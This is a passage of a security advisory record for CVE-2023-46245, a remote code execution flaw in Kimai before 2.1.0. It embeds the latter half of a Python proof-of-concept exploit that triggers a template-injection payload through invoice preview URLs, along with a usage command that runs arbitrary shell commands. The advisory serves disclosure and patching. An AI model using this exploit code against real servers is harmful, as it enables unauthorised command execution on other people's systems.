get_csrf(f\"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}\", session)\n        for template_id in template_ids:\n            rendererURL = f\"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}\"\n            # trigger the payload by visiting the renderer URL \n            rce = session.get(rendererURL)\n            \n            if \"PDF-1.4\" in rce.text:\n                print(rendererURL)\n                print(\"[+] successfully executed payload\")\n                # save the pdf locally since rendered URL will expire as soon as we end the session\n                pdf = f\"{generate()}.pdf\"\n                with open(pdf,'wb') as pdfFile:\n                    pdfFile.write(rce.content)\n                    pdfFile.flush()\n                    pdfFile.close()\n                    print(f\"[+] Saved results with name: {pdf}\")\n                exit(1)\n\nprint(\"[-] Failed to execute payload, try to trigger manually..\")\n```\n\nwhich can be executed as such:\n```bash\n$ python3 spl0it.py http://localhost:8001/en admin password \"ls -la\"\n```\n\nthis will download the rendered file which will contain the results of the RCE:\n\n![kimaiRCE](https://user-images.githubusercontent.com/32583633/271780813-dd62020e-8ac8-4902-bc70-5503a9362e40.png)\n\n\n# Impact\n\nRemote Code Execution",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "kimai/kimai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kimai/kimai/security/advisories/GHSA-fjhg-96cp-6fcw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-46245"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kimai/kimai/commit/38e37f1c2e91e1acb221ec5c13f11b735bd50ae4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kimai/kimai"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-10-30T15:40:04Z",
    "nvd_published_at" : "2023-10-31T16:15:09Z"
  }
}